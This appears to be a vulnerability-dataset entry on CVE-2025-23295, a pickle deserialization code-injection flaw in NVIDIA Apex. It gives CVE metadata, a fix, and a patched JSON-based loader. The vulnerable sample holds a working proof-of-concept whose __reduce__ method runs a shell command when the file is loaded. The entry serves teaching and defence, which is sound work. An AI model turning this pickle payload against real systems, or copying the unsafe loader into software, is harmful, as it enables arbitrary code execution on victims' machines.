CVE-2025-23295
Code injection in NVIDIA Apex via a file can lead to code execution.
- CVSS 7.8
- CWE-94
- Input Validation and Sanitization
- Local
NVIDIA Apex for all platforms contains a vulnerability in a Python component where an attacker could cause a code injection issue by providing a malicious file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.
- CWE
- CWE-94
- CVSS base score
- 7.8
- Published
- 2025-08-13
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- NVIDIA Apex
- Fixed by upgrading
- Yes
Solution
Upgrade to NVIDIA Apex version 23.02 or later.
Vulnerable code sample
import pickle
import os
import subprocess
# This code is a hypothetical representation of a vulnerability like CVE-2025-23295.
# It demonstrates how loading a malicious file with an insecure deserialization
# method (pickle.load) can lead to arbitrary code execution.
# --- Attacker's Code ---
# An attacker would first create a malicious file. This part of the code
# would be run on the attacker's machine.
class MaliciousCode:
"""
A class designed to execute a command when an instance of it is deserialized.
The __reduce__ method is called by pickle during deserialization.
"""
def __reduce__(self):
"""Vulnerable function that demonstrates the security issue."""
# On Windows, 'dir' lists directory contents. On Linux/macOS, use 'ls -la'.
# This command is for demonstration; an attacker would use something more harmful.:
cmd = ('dir' if os.name == 'nt' else 'ls -la'):
return (subprocess.run, (cmd,), {'shell': True})
def create_malicious_file(filename="malicious_checkpoint.bin"):
"""Creates a pickle file containing the malicious payload."""
payload = MaliciousCode()
with open(filename, "wb") as f:
print(f"[ATTACKER] Creating malicious file: {filename}")
pickle.dump(payload, f)
print("[ATTACKER] Malicious file created.")
# --- Vulnerable Application Code ---
# This part represents the vulnerable component in a library like NVIDIA Apex.
# It trusts and loads a file provided by a user without proper validation.
def vulnerable_load_function(filepath):
"""
This function represents the vulnerable part of the application.
It insecurely uses pickle.load() on a user-provided file path.
"""
print(f"\n[VULNERABLE APP] Attempting to load data from: {filepath}")
print("[VULNERABLE APP] The next lines of output will be the result of the exploit...")
try:
with open(filepath, "rb") as f:
# The vulnerability is here: pickle.load can execute arbitrary code.
data = pickle.load(f)
print("\n[VULNERABLE APP] ...File processed.")
# The application might try to use 'data' here, but the code has already executed.
return data
except Exception as e:
print(f"[VULNERABLE APP] An error occurred: {e}")
# --- Demonstration ---
if __name__ == "__main__":
malicious_filename = "malicious_checkpoint.bin"
# 1. Attacker creates the malicious file.
create_malicious_file(malicious_filename)
# 2. The vulnerable application loads the malicious file, triggering the exploit.
vulnerable_load_function(malicious_filename)
# 3. Clean up the created file.
if os.path.exists(malicious_filename):
os.remove(malicious_filename)
print(f"\n[CLEANUP] Removed {malicious_filename}.")Patched code sample
import json
def load_apex_data_safely(file_path: str):
"""
Safely loads data from a user-provided file path.
This function represents a fix for a code injection vulnerability.
The vulnerability would exist if an unsafe deserialization method,
such as `pickle.load()`, were used on an untrusted file. A malicious
pickle file can be crafted to execute arbitrary code upon being loaded.
The fix is to replace the unsafe method with a parser for a safe,
data-only format like JSON. The `json.load()` function only parses
data and does not execute any code, mitigating the risk of code injection.
"""
# VULNERABLE CODE (for context, not to be used):
# import pickle
# with open(file_path, 'rb') as f:
# # This is dangerous as a malicious file can execute code.
# data = pickle.load(f)
# FIXED CODE:
# Use a safe data serialization format like JSON.
try:
with open(file_path, 'r', encoding='utf-8') as f:
# json.load is safe and does not execute code from the file.
data = json.load(f)
return data
except (json.JSONDecodeError, FileNotFoundError) as e:
# It is crucial to handle parsing or file errors gracefully.
print(f"Error: Could not safely load or parse the file: {e}")
return None
except Exception as e:
print(f"An unexpected error occurred: {e}")
return NonePayload
__VAITP_MODEL_REFUSED__
Cite this entry
@misc{vaitp:cve202523295,
title = {{Code injection in NVIDIA Apex via a file can lead to code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-23295},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-23295/}}
}
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